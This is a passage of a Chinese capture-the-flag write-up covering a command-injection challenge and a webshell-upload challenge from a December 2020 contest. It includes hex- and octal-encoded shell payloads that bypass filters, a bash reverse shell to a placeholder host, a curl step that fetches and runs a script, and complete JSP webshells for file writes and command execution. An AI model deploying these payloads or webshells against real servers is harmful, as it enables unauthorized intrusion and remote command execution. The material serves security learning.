__import__('os').popen('cat /flag>/tmp/dqv5.txt')

​ 不过并不能够直接用 rce 覆盖写入 /detect.py 文件,这里得构造另一个payload:

# 构造代码输出
$($(which$IFS\printf)$IFS"\x65\x63\x68\x6f\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x3e\x2f\x74\x6d\x70\x2f\x64\x71\x76\x35\x2e\x74\x78\x74\x27\x29")

# 构造定向目标文件名
$($(which$IFS\printf)$IFS"\x2f\x64\x65\x74\x65\x63\x74\x2e\x70\x79")

# 最终payload
$($(which$IFS\printf)$IFS"\x65\x63\x68\x6f\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x3e\x2f\x74\x6d\x70\x2f\x64\x71\x76\x35\x2e\x74\x78\x74\x27\x29")>$($(which$IFS\printf)$IFS"\x2f\x64\x65\x74\x65\x63\x74\x2e\x70\x79")

​ 这里已经写入了 /detect.py 文件:

image-20201221225322705.png

​ 最后只需要等定时任务,等一会读就得到flag了:

image-20201221225406341.png

​ 得到flag:flag{ce44003b76a492b36af16c96f7a72b74}

flag{ce44003b76a492b36af16c96f7a72b74}

​ 后话:

​ 看别的师傅的wp,这玩意是可以出外网的。。靠!然后直接新建以下内容的文件,文件名为 1

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

​ 可以用 php -S 0.0.0.0:80 或者 python -m SimpleHTTPServer 80 或者 python3 -m http.server 80 ,再用 curl 给弄到 /tmp 里边:

cur\l$IFS$9"[10进制IP]"$(printf$IFS"\57")1">$(printf$IFS"\57")tmp$(printf$IFS"\57")dm

​ 然后直接触发就好了:

ba\sh$IFS$(printf$IFS"\57"tmp$(printf$IFS"\57")dm

​ 第一时间把 /detect.py 给覆盖成空的了,不然这个反弹shell可能会被kill!

​ 这里要强调一点!!!实际上并不需要 which 就可以的, 8进制字符 yyds!!!:

$(printf$IFS"\151\144"))

​ 反正 16进制字符 是不太行的,有点迷就对啦!!!

image-20201222214121049.png


WEBSHELL_I(未解,复现成功)

​ 啊这,这题吧,一堆人解出来。本来还以为说是bypass对webshell的检测的。就网上搜了一堆的jsp的免杀webshell,还向牌面gdl咨询了不少,然而实际上好像是别的考点。。看了别的师傅的wp,似乎是一个 多文件上传 ?只检测第1个文件的内容,第二个不检测的。。

​ 然后还有一种说法是,有个老马不会被杀。或者说是前边加上一些正常的语句,好像也是可以的。。下边是别的师傅的wp的老马:

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cat " +
request.getParameter("cmd"));

OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>

​ emmm,还是太菜了(指搜索引擎都不会!!!

​ 然后吧,当时是 12.20 的比赛,在 23:50 时候可以读写文件了,但是并不能够自由读写,就差一点就解出来了(大概?)!

​ 只是时间不够了,后来也就那么的顺其自然弄了一个通宵,从 00:4207:12 总算是弄出来了(其实大部分时间都是从零开始学 jsp,毕竟太菜了不会java!!!

​ 因为现在环境关了,也不好详细复现,这里就稍微的把流程贴一下好了,下边用 request.getCookies() 就可以 bypass 对 request.getParameter() 的检测了,然后由于从 cookie 写入不能有双引号 “ ,那就用 String.valueOf('?') 就行了。

  • 写文件的payload:
# 写文件
# Cookie["payload"] -> "内容"(不能写双引号 " ,分号 ; 以及空格 [ ])
# Cookie["path"] -> "路径" (不能写双引号 " ,分号 ; 以及空格 [ ])(这里可以写到 /usr/local/tomcat/webapps/ROOT/upload/a.jsp)

<%@ page import="java.io.*" %>
<%
String str1 = "";
String str2 = ";"+"%"+">";
String path = "";
Cookie[] cookie=request.getCookies();
for(Cookie c:cookie){
	if("payload".equals(c.getName())){
		str1 = c.getValue();
	}
	if("path".equals(c.getName())){
		path = c.getValue();
	}
}
try {
	PrintWriter pw = new PrintWriter(new FileOutputStream(path));
	pw.println(str1 + str2);
	pw.close();
} catch(IOException e) {
	out.println(e.getMessage());
}
%>
  • 读文件的payload:
# 读文件
# Cookie["rpath"] -> "文件路径"(不能写双引号 " ,分号 ; 以及空格 [ ])

<%@ page import="java.io.*" %>
<%
String path = "";
Cookie[] cookie=request.getCookies();
for(Cookie c:cookie){
	if("rpath".equals(c.getName())){
		path = c.getValue();
	}
}
try {
	BufferedReader reader = new BufferedReader(new FileReader(path)); 
	String s = reader.readLine(); 
	StringBuffer sb = new StringBuffer(); 
  while (s != null) 
  { 
    sb.append(s); 
    s = reader.readLine(); 
    sb.append("\n");
  } 
	out.println(sb.toString()); 
	reader.close(); 
} catch(IOException e) {
	out.println(e.getMessage());
}
%>
  • 由 Cookie 写入的自由写文件马的payload:
# 将以下payload写入f.jsp(这里可以写到 /usr/local/tomcat/webapps/ROOT/upload/f.jsp)中,以便绕出Cookie无法写入某些字符的限制

<%new/**/java.io.FileOutputStream(request.getParameter(String.valueOf('f'))).write(request.getParameter(String.valueOf('c')).getBytes());%>
  • 由 自由写文件马 写入回显马的payload:
# 最后将以下payload写入m.jsp(这里可以写到 /usr/local/tomcat/webapps/ROOT/upload/m.jsp)中,直接回显rce
# 这里记得URL编码一下

<%java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter(String.valueOf('d'))).getInputStream();int a=-1;byte[] b=new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}%>

​ 行吧,确实太菜了, 只能够绕道而行!

​ 先把第一个写文件payload给上传了(第二个读文件payload也可以上传,其实不影响的),然后传入以下的 cookie 值:

path:/usr/local/tomcat/webapps/ROOT/upload/f.jsp
payload:<%new/**/java.io.FileOutputStream(request.getParameter(String.valueOf('f'))).write(request.getParameter(String.valueOf('c')).getBytes())

​ 其中, path 是写入的文件路径, payload 是写入的内容(第三个payload的内容)。

image-20201222221442674.png

​ 然后,再用写入的第三个payload的文件将第四个payload的文件写入了:

http://124.71.133.116:30587/upload/f.jsp?f=/usr/local/tomcat/webapps/ROOT/upload/m.jsp&c=%3C%25java.io.InputStream+in%3DRuntime.getRuntime%28%29.exec%28request.getParameter%28String.valueOf%28%27d%27%29%29%29.getInputStream%28%29%3Bint+a%3D-1%3Bbyte%5B%5D+b%3Dnew+byte%5B2048%5D%3Bwhile%28%28a%3Din.read%28b%29%29%21%3D-1%29%7Bout.println%28new+String%28b%29%29%3B%7D%25%3E

​ 测试一下写入的第四个payload的文件是否可用:

http://124.71.133.116:30587/upload/m.jsp?d=ls%20/

image-20201222222736967.png

​ 看起来是OK了,直接 cat /flag 就完事啦:

image-20201222222812454.png

​ 得到flag:flag{rJABdiCp788zuPdQvO3FcHO0B5YwfoeA}

flag{rJABdiCp788zuPdQvO3FcHO0B5YwfoeA} 

​ 后记:

​ 太菜了太菜了!这么简答的题目,竟是因为做题人不会java!!!得变得更强才行!一定要好好的学习,变得更优秀!!!


​ 现在是 12.22 了,明天比赛!!冲!!!无论如何没有后退!一切都是值得的!一定要变得更优秀才阔以!